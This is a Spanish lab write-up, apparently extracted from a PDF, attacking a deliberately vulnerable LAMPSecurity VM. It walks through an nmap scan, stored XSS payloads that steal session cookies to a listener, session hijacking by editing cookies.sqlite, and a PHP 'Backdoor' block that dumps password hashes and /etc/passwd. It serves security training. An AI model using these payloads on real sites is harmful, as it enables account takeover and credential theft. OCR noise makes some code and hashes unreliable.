Host is up (0.0015s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

PAVALE open ftp vsftpd 2.0.5

22/tcp open ssh OpenSSH 4.3 (protocol 2.0)

25/tcp open smtp Sendmail

80/tcp open http Apache httpd 2.2.3 ((Cent0S))

110/tcp open pop3 Dovecot pop3d

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd

443/tcp open ssl/http Apache httpd 2.2.3 ((Cent0S))

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
993/tcp open ssl/imap Dovecot imapd

995/tcp open ssl/pop3 Dovecot pop3d

3306/tcp open mysql MySQL (unauthorized)

5801/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port:
5802/tcp open vnc-http RealVNC 4.0 (resolution: 400x250; VNC TCP port:
5901/tcp open vnc VNC (protocol 3.8)

5902/tcp open vnc VNC (protocol 3.8)

5903/tcp open vnc VNC (protocol 3.8)

5904/tcp open vnc VNC (protocol 3.8)

6001/tcp open X11 (access denied)

6002/tcp open X11 (access denied)

6003/tcp open Xl11 (access denied)

6004/tcp open Xl11 (access denied)

MAC Address: 08:00:27:5E:A5:06 (Oracle VirtualBox virtual NIC)

Service Info: 0S: Unix

Figura 5.1: Busquedad de IP victima

Desde la maquina Kali se activa el servidor X, para ello, probablemente tengas
que instalar antes lo algunos directorios:

——
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#sudo apt-get install xinit
#sudo apt-get install sysv-rc-conf
#startx - Servidor X

Ya se ha conseguido la interfaz del escritorio. Ahora se puede pasar a abrir Firefox
e introducir en el buscador la IP encontrada de la maquina virtual LAMP Security.

3.TEST DE LA APLICACION

Una vez en la aplicacion web, lo primero que se hara es crear una nueva cuenta,
para ello pulsamos en “Create new account” en la barra lateral derecha.

e ————————————ned
———————
o About LAMPSec Navigation

o Contact

LAMPSec Point Security Available

o Submitted by Barbara on Mon, 06/03/2013 - 08:31 s

o Executives

LAMPSec Research labs is proud to announce the availability of our new Point Security Solution (PSS) o Sales
version 1.0. PSS is the result of several years of investment by LAMPSec Labs in the emerging field of o Support
network and host anomaly detection technologies. PSS gives you visibility into the most vexing of
security threats, including APT, by detecting problems including over the horizon vulnerabilities such

as 0 day. Your organization deserves more than the veneer of protection provided by anti virus 2
Y 4 B 2 g User login
software.
-+

w9 comments Read mare ysername:
John Goldman Joins LAMPSec

Password: *

o Submitted by Steve on Mon, 06/03/2013 - 08:28

We are pleased to announce that John Goldman has joined our team as the new Director of Login
Information Technology Support Services. John's career has seen him employed at a number of large Create new account

commercial firms and academic environments. John's talents in overseeing highly skilled technical
teams will be a welcome addition and will help to alleviate some of the operational burden from our
CTO, Steve Pinkton.

Request new password

= 3 comments Read more Search

Search this site:

Theme by proxiss CmbH, mini icons by brandspankingnew.

Figura 5.2: Interfaz maquina LAMP

Se obtiene una pagina con diversos datos personales a rellenar, tal y como se muestra en
la siguiente figura. Si se introducen los siguientes datos en las casillas correspondientes, y
poniendo una contrasefia simple como puede ser « password »:
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Account information

Username: *
test

E-mail address: *
foo.@example.org

Password: *

Confirm password: *
LTI Passwords match: Yes

= Adding both upper and lowercase letters
= Adding numbers.
= Adding punctuation

Provide a password for the new account in both fields.

email

Email; *
foo@example.com
e-mail address

Name

Full Name: *

sessssss Password strength: Low

The password does not include enough variation to be secure. Try:

Spaces are allowed; punctuation is not allowed except for periods, hyphens, and underscores.

A valid e-mail address. All e-mails from the system will be sent to this address. The e-mail address is not made public

and will only be used if you wish to receive a new password or wish to receive certain news or notifications by e-mail.

<script>alert(‘full-name"); </script>

Create new account

Figura 5.3: Registro de nuevo usuario en LAMP

Lo que se obtiene es una ventana que confirma el registro.

Registration successful. You are now logged in.

Figura 5.4: Confirmacion del registro

Como se observa en la imagen de la
derecha, se ha entrado como usuario “test”,
ahora se tiene todo un men( para poder
navegar. Las que mas se usaran a lo largo de
este ejercicio con el fin de encontrar la
vulnerabilidad de la aplicacion son:

e My account
e Recent posts
e Administer

49

——

test

o Contact

Executive

[=]

Search this site:

Figura 5.5: Menu de navegacion LAMP
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En “My acount” se puede ver informacion basica de nuestro contacto en “View”,
asi como editar algun dato desde la pestafia “Edit”, o ver post que se han comentado desde
la pestafia “Track”.

View Edit
o About LAMPSec

test

Name

Full Name

emaill

Email
foo@example.com
History

Member for

3 weeks 22 hours

Track

<script=alert("full-name");</script=

test

o

Contact

o

o

o My account

Search

Search this site:

Figura 5.6: Imformacion del usuario creado en LAMP

En “Recent posts” se ven los ultimos posts que se han escrito, asi como el autor
del mismo, y los comentarios recibidos en ese post. También da informacidn sobre que

tipo de post se ha escrito, se puede tratar de una pagina, una historia o0 una persona.

Type

Story

story

Page

Page

Person
Person
Person
Person
Person
Person
Person
Person
Person
Person
Person
Person
Person
Person
Person
Person
Person
Person
Person

o About LAMPSec

Recent posts

Post Author
LAMPSec Point Security Available Barbara
John Goldman Joins LAMPSec Steve
hidden Barbara
About Steve
Sally Loreman Barbara

X

Barbara

Tom Maloney

Jerome Stone Barbara
Michael Swanson Barbara
Juan Ingersol Barbara
Stacey Hunter Barbara
Jeff Grimes Barbara
George Prune Barbara
Dan Hart Barbara
Susan Swiney Barbara
Johnathan Alderman Barbara
Barbara Dio Barbara
John Goldman Barbara

Sherry Holden
Steve Pinkron

k

Barbara
Barbara

Replies

[t}

oo oo o000 oo o000 o0 o000 oamN

Last updated

1 week 4 days ago

1 week 4 days ago

4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago
4 years 44 weeks ago

test

o Contact
o E s

o Marketing
o Research
o Sales

o Support

o Recent posts
» Administer
o Log out

Search

Search this site:

Figura 5.7: Ventana de

——
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4.XSS vulneravility(cross site Scripting)

Para poder testear esta vulnerabilidad web, la cual sera bastante simple como se vera mas
adelante, la mejor manera de introducir un codigo que cause una alerta en la web seré introducirse
en un comentario del tipo “Story”. Se pulsa sobre el menu “Administer” como se muestra a
continuacion:

View Track test

o About LAMPSec 3
o Contact

LAMPSec Point Security Available

@ Submitted by Barbara on Mon, 06/03/2013 - 12:31

LAMPSec Research labs is proud to announce the availability of our new Point Security Solution (PSS)
version 1.0. PSS is the result of several years of investment by LAMPSec Labs in the emerging field of
network and host anomaly detection technologies. PSS gives you visibility into the most vexing of o Recent posts
security threats, including APT, by detecting problems including over the horizon vulnerabilities such » Administer
as 0 day. Your organization deserves more than the veneer of protection provided by anti virus © Log out
software. Contact our sales group to learn more about what PSS can do for your organization! |

o My account

Search

Search this site:

¢ Add new comment

Figura 5.8: Menu Administer de LAMP

Pulsando sobre “Add new comment” e introduciendo los siguientes valores:

= Subject:  <script>alert(‘subject’);</script>
= Comment: <script>alert(‘comment’);</script>

comment

Evitar que esta pagina cree didlogos adicionales

Figura 5.9: Pop-up de un nuevo comentario

Ya tenemos la vulnerabilidad XSS confirmada por medio de una alerta pop-up. A
partir de ahora, esta alerta le aparecera a cualquier usuario que se meta en este post.

4.1.Explotacion

Una vez se ha identificado una vulnerabilidad, se procede a explotarla para
controlar el acceso a la aplicacion. En este caso, la vulnerabilidad XSS se ha encontrado
de manera trivial, pero eso no quiere decir que su explotacién lo vaya a ser también.

Esta vez, se va a trabajar con las cookies, las cuales, como se vera mas adelante,
tienen toda la informacion que necesitamos para lograr el acceso a la aplicacion. La
definicion de cookie, de manera llana podria ser la siguiente: “son una ristra de strings
con la que te presentas al entrar en una pagina web”. Para ver la cookie en el navegador
Firefox, desde Kali Linux, solo hace falta pulsar CTRL+I (Page info), a continuacion se
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pulsa sobre « Security » y después en « View Cookies ». La siguiente figura nos muestra
el proceso a seguir:

Blocks | LAMP Security Research - Mozilla Firefox -1 (O] (x

@ Blocks | LAMPSecurit.. x | +

Page Info - http://10.210.160.184/admin/build/block @ & @ =

il %) ]
o k= K N
General Media Hermissions SN0

Website Identity

Ann1n4cn 104

€ ) @ | 10.210.160.184/admin/build/block

i Most Visited~ [l Offensive Security S Kali Lin

Cookies " Jership information.

Search: | 10.210.160.184

The following cookies match your search:

List Site v Cookie Name -
5:10.210.160.184 SESS31cB2a3e98987a138d4ecb... | View Cookies |
Mgaglal @ 10.210.160.184 has_js -
o About LAI | View Saved Passwords ‘
Contenttop
B|OCkC gryption for the page you are viewing.
) | Name: SESS31c82a3e98987a138d4eclbe33b1d597 3
- X fion can be seen by other peaple
This pageprd | CONEENt: jgd349ajder5a7auvhOvakg370
blocks within Host: 10.210.160.184 -
column and d Path: / | Help |
v‘mue da | 0 Ay (= Gl Gy » Content management
e same w4 | Expires: Apil 20, 2018, 11:30,57 AM ~ Sie bulding
until you clicl
o Blocks
Click the con | Remove Selected | | Remove All ‘ ‘ Close | + Contastform
page to create & cUStOM DIGCK. E , Menus e

Figura 5.10: P4gina de cookies dentro del navegador

Lo que hace esta cookie, es guardar informacidn de la pagina abierta y de tu cuenta
para que, en caso de volver a abrirla, poder llegar a ella mas rapida, por lo que, si por
algun casual pudiésemos robar las cookies de alguien, podriamos llegar a iniciar sesion
desde su cuenta y, por tanto, robar su cuenta. Es por eso que, en general las cookies no
deben contener informacion sensible. Para ello existen las paginas web con informacion
segura “https”. Este es el objetivo en este ejercicio, obtener cookies con informacion
sensible. Para llevarlo a cabo, habra que descargar un Tools desde el menu de Firefox
Tools. La aplicacion en cuestion es « Tamper data » :
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Add-ons Manager - Moilla Firefox (- O -]
@ Recent posts | LAMP.. % | ¢ Add-ons Manager x|+

& | © Firefox | about:addons 0% | @ Search wBa & # =

5 Most Visited~ [l Offensive Security ' Kali Linux "% Kali Docs " Kali Tools s Exploit-DB Wy Aircrack-ng gl Kali Forums 8, NetHunter >

# Tamper Data 11.0.1.1-signed.1-signed
By Adam Judson
View and modify HTTP/HTTPS headers etc. Track and time requests.
Use tamperdata to view and modify HTTP/HTTPS headers and post parameters
Trace and time http response/requests.
Security test web applications by modifying POST parameters.

FYI current version of Google Web Accelerator is incompatible with the tampering function of TamperData. Your
browser will crash. K

A few people have asked abeut donations. If you are so inclined, consider donating te the Toronto Daily Bread
Foodbank. Thanks.

Automatic Updates ® Default on Off
Last Updated April 6, 2018
Homepage http://tamperdata.mozdev.org
Rating ¢ S dd i 302 reviews
Preferences Disable Remove

Figura 5.11: Busquedad de herramienta Tamper Data en navegador

Una vez descargada la aplicacion, se pulsa en “Enable” y continuacion sobre
“Restart now”. Una vez descargada la aplicacion se pulsa sobre F10/Tools/TamperData
y se nos abre la aplicacion:

? :
Tamper Data - Ongoing requests @ & &
Start Tamper Stop Tamper Clear Options  Help

Filter Show All

Total ... Cont... Lo... ia]

Request Header... Response Head...

Figura 5.12: Uso de herramienta Tamper Data
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Para conocer el funcionamiento de esta aplicacion se pulsa el boton de “Start
Tamper”. A continuacion, se abre una pégina cualquiera en internet (por ejemplo
www.google.com ) y nos pregunta un pop-up emergente si queremos hacer “Tampering”.
Como es eso precisamente lo que se quiere hacer, se pulsa sobre “Tamper”.

Tamper with request? [ > ]

I? I http://google.com/

[-/] Continue Tampering?

Submit Abort Request Tamper

Figura 5.13: Peticion de Tampering

El resultado es una pagina como la que se muestra a en la siguiente figura, que
ofrece diversa informacidn sobre la pagina web en la que se haya decidido entremeterse.
Lo que se hara a continuacion serd copiar el valor de la cookie en un archivo de
texto(gEdit) y cambiarle a la cookie en “Tamper Popup” un solo valor. Una vez hecho
esto se pulsa el boton “OK”.

Tamper Popup O

https://www.google.com/search?q=iut&ie=utf-88&oe=utf-8&client=firefox-b-ab

Reguest Header... Request H... Post Parameter ... Post Param...
Host www.google.
User-Agent Mozilla/5.0 (*
Accept text/html,app
Accept-Language en-Us,en;q=!
Accept-Encoding gzip, deflate,
1P_JAR=201!

k
Cancel OK

Figura 5.14: Informacion de una pagina a traves de Tamper
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Se podra comprobar, con el cambio realizado, como sale una pestafia emergente
que nos dice que estamos fuera de la aplicacion debido a que se ha usado una cookie sin
autentificar. Esto es un pequefio ejemplo de como puede llegar a funcionar “Tamper
Data”, ademas de entender un poco mejor el uso que tienen las cookies.

Se procede a crear un nuevo comentario. Para ello se vuelve a la interfaz de LAMP
y en Recent Post se pulsa sobre un comentario del tipo “Story” y se agrega otro
comentario, con el siguiente contenido:

=> Subject:  <script>alert(‘subject’);</script>
=> Comment: <script>alert(‘document.cookie”);</script>

Tiene cierto parecido con el anterior comentario, salvo la diferencia de
« document.cookie ». Este cambio va a hacer que se abra un nuevo pop-up cuando
cualquier usuario quiera ver el post en el cual se ha afiadido el comentario. EI pop-up en
cuestion trata de datos cookies, tal como se observa en la siguiente figura:

SESS31c82a3e98987al38d4eclbe33bld597=jhjkeo2n64rmi2fbt6iditrkse;
has_js=1

Prevent this page from creating addi?innal dialogs

OK

Figura 5.15: Pop-up con una cookie de una pagina web

Como se puede observar, se trata de una cookie, en el que diferenciamos dos partes
separadas por un igual. En general, se empieza por SESS, que significa que es
caracteristica del PHP, después se tiene un igual, y a continuacién otra cadena de strings.

Ahora, se abre un terminal y se comprueba que la maquina Kali Linux contenga
el servidor Apache, con los siguientes comandos:

#sudo apt-get install apache2

#sudo /etc/init.d/apache2 restart

Ahora, desde un buscador, se busca el “localhost” y se debe abrir la pagina del
sistema apache, que es con el que estamos trabajando:
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I @  localhost c Search rBa ¥+ 1

[ Most Visitedw FllOffensive Security " Kali Linux S Kali Docs " Kali Tools & Exploit-DB W Aircrack-ng gllKali Forums S, NetHunter

( () Apache2 Debian Default Page
k
This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server

installed at this site is working properly. You should replace this file (located at /var/www
/html/index.html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Debian's Apache2 default configuration is different from the upstream default configuration, and split into
several files optimized for interaction with Debian tools. The configuration system is fully documented
in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full documentation.
Documentation for the web server itself can be found by accessing the manual if the apache2-doc
package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:

/etc/apache2/

| -- apache2.conf

| : ports.conf
| -- mods-enabled

| |-- *.load
| “=- *.conf
|-- conf-enabled

| - k. conf

Figura 5.16: Busquedad de localhost sobre navegador

Esto significaria que todo esta correcto y se puede seguir con el ejercicio. Desde
un terminal linux, se introduce un listener del buscador para poder seguir todo lo que
hace:

# tail -f /var/log/apache2/access.log

Si se clica sobre “Recent Post” se ve que Barbara es el usuario que mayor
actividad tiene. Es por eso que sera ella la victima del ataque. Se pulsa sobre
“Barbara/Contact” y se escribe el mensaje de la figura siguiente. Lo realmente
importante es enviar la linea subrayada, ya que este es el enlace directo con el listener que
tenemos abierto.
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Barbara

From: k
test <foo@example.org=>

To:
Barbara

mﬁuﬂchil

Buenos dias

Message: *

Espero que te vaya todo bien!

1/ /10.210.160.184/content/lampsec-point -security-available

Send yourself a copy.

Figura 5.17: Envio de mensaje a traves de la aplicacion

Una vez le demos a “Send e-mail”, y tras esperar unos segundos, en el terminal
se recibe la cookie de la cuenta de Barbara(remarcada sobre blanco en la siguiente figura):

S B P Tl b Rk PR R R ool ) I I S WIS ESS31c82a3e98987a138d4eclbe33b1d597=g4m9glclrs7|
q@5m 28has_js=1 HTTP/1 568 "http://10.210.160.184/content/lampsec-point-security-av
Mozilla/5.@ (Unknown; inu 36) AppleWebKit/534.34 (KHTML, like Gecko) Phantom]S/1.9.8 Saf

- [17/Apr/2018:23:15:
= s20has_js=1 HTTP/1.1" 68 "http://10.210.160.
ailable 0 a/5.0 (Unknown; Linux 6) ApplewWebKit/534.34 (Kl
ari/534.34"

Figura 5.18: Recibo de cookie en el terminal

Es hora, por lo tanto, de usar la herramienta “Tamper data” del buscador web.
Una vez abierta, se pulsa sobre el boton “Tamper data”, lo que hara que cada vez que se
abra una pagina nueva, automaticamente nos dara la opcion de mostrarnos las cookies de
la pagina.

Se abre una péagina nueva del buscador e introducimos la direccion IP de la
maquina virtual LAMP Security. Saltara un pop-up que viene de Tamper data y se pulsa
sobre “Tamper” :
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Tamper with request?

I"? I http://10.210.160.184/

[]Continue Tampering?

Submit Abort Request Tamper

Figura 5.19: Tamper de la IP local

En la nueva pagina que se abre, clicamos sobre “Cookies” y se procede a
intercambiar las que aparecen, por las recogidas en la terminal, propias de Barbara
(observar, por ejemplo, que en nuestro caso estas terminan en ...05m4).

| o
Tamper Popup (]
http://10.210.160.184/
Request Header... Request H... Post Parameter ... Post Param...

Host 10.210.160.1
User-Agent Mozilla/5.0 (*
Accept text/html.app
Accept-Language en-US,en;g=!
Accept-Encoding qzip, deflate

3hg5rrq05m4

Cancel

Figura 5.20: Informacion de la localhost a traves de Tamper

Se pulsa sobre “OK” y se entra automaticamente sobre el perfil de Barbara.
Aunque, “lo que facil viene, facil se va”, puesto que una vez pulsemos en cualquier enlace
nos devolvera de nuevo al perfil test.

===

o About LAMPSec

LAMPSec Point Security Available

0 submitted by Barbara on Mon, DE/03(2013 - OB:31.

LAMPSec Research labs is proud to announce the availability of our new Point Security Solution (PSS)
wversion 1.0. PSS is the result of several years of investment by LAMPSec Labs in the emerging field of network
and host anomaly detection technologies. PSS gives you visibility into the most vexing of security threats,
including APT, by detecting problems including over the horizon vulnerabilities such as 0 day. Your
organization deserves more than the veneer of protection provided by anti virus software.

m 9 comments Read more

John Goldman Joins LAMPSec
-

Barbara

=+ Contact

o Executives
o Markefing
¢ Research
o Support

o My account

+ Create content

Figura 5.21: Acceso con usuario Barbara
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Por lo tanto, se necesita actuar de algin modo para poder entrar con el perfil de
Barbara sin ninguna limitacion. Para ello, se debera recurrir a un cambio en la base de
datos Sqlite e introducir la cookie propia de Barbara. Para ello, se debe seguir una serie
de comandos, tal y como se muestra a continuacion:

#cd ~/.mozilla/firefox
#ls

#cd ivn8e6gj.default —>En general el .default
#ls

#sqlite3 cookies.sqglite
Sqlite> SELECT id, name, valuem host FROM moz_cookies;

Sqlite>UPDATE moz_cookies SET value = ‘{COOKIE BARBARA despues del igual }’
WHERE

host={Direccion IP maquina Lamp Security}’

A continuacion, se muestran en la siguiente figura una captura de la terminal con
el cambio de cookie:

~# ¢d -~/ .mozilla/Tirefox
zd f # s
efault profiles.ini
# cd ivn8ebgj.default/
la/firefox/ivn8ebgj.default# 1s

addons. json cookies.sqlite ps sessionCheckpoints. json

AlternateServices. txt crashe permissions.sqlite essionstor
blocklist-addons. json da orting places.sqlite sessionstore. js
blocklist-gfx ex ion places.sqlite-shm SiteSecurityServiceState.txt
blocklist-plugins.js extensions.ini places.sqlite-wal t 3¢

blocklist,xml extensions. json pluginreg.dat

bookmarkbackup formhistory.sqlite prefs.js
cert8.db gmp revocations.txt
compatibility.ini key3.db search.json.mozlz4 webappsstore.sqlite
containers.json kinto.sqlite secmod.db xulstore.json
content-prefs.sqlite mimeTypes.rdf SecurityPreloadState. txt

: mozilla/firefox/ivnBetgj.default# sqlite3 cookies.sqlite

SQLite version 3.20.1 2017-08-24 16:21:36

Enter *.help* for usage hints.

sqlite> SELECT id, name, value, host FROM moz cookies;

3| gat UA-36116321-1|1|.mozilla.org
6|NID|128=B8NxcTQwOdFLEL60LSXUKUF33Ln1PSeeUnxhsBIL4opviISIOPUtTOLIUFSAHXNLSNCx6coPudqoFRUIUILRLINZSOTL

S2nyyORaSCcdidmQIOLIKES8dh37pmpax90| .google. com

7|experiment Afxa-cta-topbar|d|support.mozilla.org

|VISITOR INFO1 LIVE|CDroKIcj)3TI|.youtube,com

11| gat gtag UA 36116321 2|1|.mozilla.org

13|NID|128=aCXPS9QbKI 7g70bGGTHVG3VVABLGCCCOPD2Xi109xVhRL jO7SBUKT -Vi3j9fs2GkPxtzLX8TFxdNyivrnLUi1255202
gpu2ESj jhRI9jybmLz jQsChOyqTCvuEHt)eF | .google.com

18| 1P JAR|2018-4-17-14|.google.com

19|0GP| -5061451: | .google.com
20| SESS31¢82a3e98987a138d4eclbe33b1d597 |cookieApacheBarbara|10.210.160.184
21| ga|GAl1.2.1286610656.1523974372|.m0zilla.0rg
22| gid|GA1.2.2078983985,1523974372| .mozilla.org
23| gat|l|.mozilla.org
sqlite> UPDATE moz cookies SET value ='g4m9glclr5709a83hgS5rrqoSm4’ WHERE host='10.210.160.184";

Figura 5.22: Cookie recibida en terminal

Con esto, ya se ha terminado de trabajar con la base de datos Sqlite. Para terminar
la explotacion de este ejercicio, se abre la pagina de LAMP y se puede observar como se
ha entrado a la web como usuario Barbara con todos sus permisos de usuario. Esto se
puede demostrar al introducirse en “My account”.
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View Edit Track Contact Barbara
e About LAMPSec

o

Contact

o

Executives

Barbara

Name

Full Name
Barbara Dio

o Recentposts k

email

Email

a

ErgE

bdio@localhostlocaldomain
: Search
History

Member for Search this site:

4 years 46 weeks

Figura 5.23: Informacién de usuario Barbara

Una vez dentro, se va a intentar el crackeo del servidor del sistema con el fin de
acceder a alguna informacion sensible. Para ello, clicamos en “Administer” y a
continuacion pulsamos en “Blocks” (En la columna “Site building”):

Administer

‘Welcome to the administration section. Here you may control how your site functions.

Hide descriptions

Content management Site building
Manage your site’s content. Control how your site looks and feels.
Comments Blocks]
List and edit site comments and the comment Configure what block content appears in your
moderation queue. site's sidebars and other regions.
Content Contact form
View, edit, and delete your site’s content. Create a system contact form and setup
Content types categories for the form to use.
Manage posts by content type, including default Menus
status, front page promotion, etc. Control your site's navigation menu, primary
Post settings links and secondary links. as well as rename
Control posting behavior, such as teaser length, k and reorganize menu items.
requiring previews before posting, and the Modules
number of posts on the front page. Enable or disable add-on modules for your site.
! ishing Themes
Configure the number of items per feed and Change which theme your site uses or allows
whether feeds should be titles/teasers/full-text. users to set.
Taxonomy URL aliases
Manage tagging, categorization, and Change your site's URL paths by aliasing them.
classification of your content. Views

Views are customized lists of content on your
system; they are highly configurable and give

Figura 5.24: Paginade administracion en LAMP
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Si se pulsa en la parte superior para afiadir un nuevo bloque (“add”) , nos ofrece
tres espacios en los que se puede introducir una descripcion, un titulo y un cuerpo, para
conseguir la informacion de la base de datos se debe introducir el siguiente codigo PHP:

e Block description:
e Block title:

e Block body:

<?php
$res=db_query('select name, pass from users’);
while($rec=db fetch:object($res)){

print $rec ->name. " : ".$rec ->pass/"br/> ;
}

7>

***Eg importante comprobar el estado de las comillas simples y
dobles para el buen funcionamiento del script***

Es importante remarcar dentro de “Input format” que se trata de un cédigo PHP,
para ello, habra que abrir la pestafia en cuestion y marcarla. Por altimo, se pulsa al final
de la pagina sobre “Save Block” para guardar los cambios hechos en el nuevo bloque
creado:

~ Input format

Filtered HTML

= Web page addresses and

= Lines and paragraphs break autom

Full HTML

= Weh pa

= Lines &

PHP code

= You may post PHP code. ou should inchude <?php 7> tags.

Mare information about formatting options

+ User specific visibility settings

» Role specific visibility settings

i » Page specific visibility settings;

Figura 5.25: Configuracion de bloque creado

Este blogque de momento se encuentra oculto, por lo que, para mostrarlo sobre la
barra lateral de la aplicacion, se debera pulsar en la opcion “Full width right sidebar”
sobre la linea de “Backdoor”, que es la que se ha creado:
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Full width right sidebar

4 Backdoor | Full width right sidebar v | configure delete
4 Navigation | Full width right sidebar | configure

& Userlogin | Full width right sidebar v | configure

4 Searchform | Full width right sidebar | configure

L=

Figura 5.26: Configuracion de los bloques

Una vez hecho esto es importante guardar los cambios realizados, para ello, una
vez mas, se pulsa al final de la pagina sobre “Save Block”. En la siguiente figura, se
aprecia la informacion disponible de la base de datos, obtenida gracias al codigo PHP.
Esta informacion muestra los diferentes usuarios registrados en la aplicacion, asi como
un string con el hash de cada uno.

backdoor

admin:49265c16d1dffBacef34599bd889299d6
Barbara:bed128365216c019988915ed3add7 5fh
Jim:2abde0f53b1317f7e3tafcdbEbs202a4
Steve:08d15a4aef553492d897 1edd5198f314
Sherry:c3319d1016aB802dbE6653befabB7 14T
Gene:9b8edbbd988954028a44710a50982576
Harvey: 7d29975b78825earc2 7ibc028lea?fad
John:518462cd3292a67c755521c1fb50c09
Johnathan:6dch23ebd2379d96ccaf32e2d224db0
Susan:0d42223010b69cabB6634bc359ed870b
Dan:Bff5ad3f04fcd 2f07c05e2f3d0ec3503
Georgeed2blf468c5f915f3f1cfiSd7068baae
Jeff.cab94f730e257245f2be69eb546c1c0d
Stacey:Bbaca3Bbebb5h5ibEa36a62915dddBbey
Juan:573152cc51del9df50e90b0e557dbTie
Michael:c7ad476fc64b75eadB00daleaZb7d0T 2
Jerome:42248d4chb640a3th5836571e254aee2b
Tom:971dcfo3eBBe8268714d9d504753d347
Xavier.3005d829eh819341357bfddf541c175hb
Sally:7alcO7fe0f9cO7ffeBda3dechbfdede2
testt:5f4doc3b5aa765d61d8327debBE2cfag
test5fddcoc3b5aayebdE1dB32TdebBE2cfag

Figura 5.27: Informacion sensible
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Aunque no lo se hara en este ejercicio, pero es posible crear un documento con
todos los hashes y trabajar con ellos en la aplicacion de Kali Linux “John the Ripper”.

Lo que se hace a continuacion sera encontrar el archivo “/etc/password”. Aunque
siempre se podra crear otro bloque de la misma manera que hemos hecho antes, lo que se
va a hacer es modificar el que se hizo antes clicando en “Configure” a la derecha del
bloque “Backdoor”. A continuacion, cambiaremos el “Block body” por el siguiente:

e Block body:

| <?php include (‘/etc/passwd'); ?> |

En la siguiente figura se muestran los cambios realizados en el bloque
creado con anterioridad:

~ Block specific settings

Block description: *

Backdoor

rtualBox Eitle:

backdoor

The titie of the block as shown to the user.

Block body:
<fphp include ('/etc/passwd');?>

Figura 5.28: Configuracion de un bloque creado

Al igual que antes, hay que guardar el codigo. Inmediatamente después, a la
derecha, nos aparece la informacion recibida de /etc/passwd:
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backdoor

root:x:0:0:root:/root/bin/bash bin:x:1:1:bin:/bin:
/sbin/nologin daemon:x:2:2:daemon /sbhin:
/sbin/nologin adm:x:3:4:adm /var/adm./sbin
/nologin Ip:x:4:7:1p./var/spool/Ipd /sbin/nologin
syncx:5:0:sync:/sbin./bin/sync
shutdown:x.6:0:shutdown /sbin/sbin/shutdown
halt:x:7:0-halt:/sbin:/sbin/halt
mail:x:8:12:mail/var/spool/mail-/sbin/nologin
news x:9:13news./etc/news:
uucp:x:10:14:uucp/var/spool/uucp/sbin/nologin
operator:x.11:0:operator:/root./sbin/nologin
games:x:12;100:games /usr/games./sbin/nologin
gopher:x:13:30:gopher./var/gopher:/sbin/nologin
ftp:x:14:S0:FTP User,/var/ftp./sbin/nologin
nobody:x:99.99:Nobody././sbin/nologin
apache:x:48:48:Apache:/var/www./sbin/nologin
rpc:x:32:32 Portmapper RPC user./-/sbin/nologin
rpcuser:x:29:29:RPC Service User./var/lb/nfs:
/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS
User:/var/lib/nfs-/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue /sbin/nologin
smmsp:x:51:51:/var/spool/mqueue./sbin/nologin
distcache:x:94:94 Distcache:/./sbin/nologin

nscd x:28:28:NSCD Daemon././sbin/nologin
vesax:69:69:virtual console memory owner:/dev:
/sbin/nologin sshd:x:74:74 Privilege-separated
SSH /var/empty/sshd:/sbin/nologin
webalizer:x:67.67 Webalizer /var/www/usage:
/sbin/nologin dovecot:x:97:97:dovecot./usr
/libexec/dovecot:/sbin/nologin squid:x:23:23:/var
/spool/squid:/sbin/nologin mysql:x:27:27:MySQL
Seever:/var/lib/mysql:/bin/bash peap.x:77:77:./var
/arpwatch:/sbin/nologin ntp:x:38:38: /etc
/ntp:/sbin/nologin dbus:x:81:81 System message
bus:/./sbin/nologin haldaemon:x:68:68 HAL
daemon:/:/sbin/nologin avahi:x:70.70:Avahi
daemon /:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
avahi-autoipd:x:100:101 :avahi-autoipd /var
/lib/avahi-autoipd:/sbin/nologin xfs;x:43:43:X Font
Server:/etc/X11/fs:/sbin/nologin

sabayon:x:86:86 Sabayon user./home/sabayon:
/sbin/nologin jharraway:x:500:504: /home
/iharraway:/bin/bash spinkton:x:501:505::/home
/spinkton:/bin/bash sholden:x:502:506:./home
/sholden./bin/bash bdio:x:503:507;:/home/bdio:
/bin/bash jalderman:x:504:508:./home/jalderman:
/bin/bash gconnor:x:505:509::/home/gconnor:
/bin/bash sswiney x-506:510. /home/sswiney:
Join/bash dhart:x:507:511:/home/dhart/bin/bash
gprune:x:508:512::;/home/gprune./bin/bash
hplink:x:509:513::/home/hplink /bin/bash
Jorimes x:510:514: /home/jgrimes./bin/bash
shunter:x:511:515:/home/shunter /bin/bash
Jingersol:x:512:516::/home/jingersol:/bin/bash
mswanson:x:513:517::/home/mswanson:/bin/bash
Jstone:x:514:518: /home/jstone-/bin/bash
Jgoldman:x:515:519:/home/jgoldman:/bin/bash
tmaloney:x:516:520:.,/home/tmaloney./bin/bash
xbruce:x:517:521:./home/xbruce:/bin/bash
sloreman x:518:522 #flag#5b650¢18929383074fea8870d857dd2e /home
/sloreman/bin/bash

Figura 5. 29: Obtencién de la carpeta /etc/paswd

En conclusion, se puede decir, que como ya se aventurd al hacer el mapeo, esta
maquina tiene muchos problemas, tal y como demostramos a lo largo del ejercicio. El
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mayor de sus problemas es que el usuario del sistema hace una reutilizacion de las
contrasefias en la interfaz y en la capa de programacion. Esto significa que cualquier
contrasefia expuesta a la aplicacion puede llevarnos a las capas inferiores, donde acceder
a la informacion sensible es més facil.

Otro de sus problemas es el hecho de que los usuarios puedan manejar cédigo
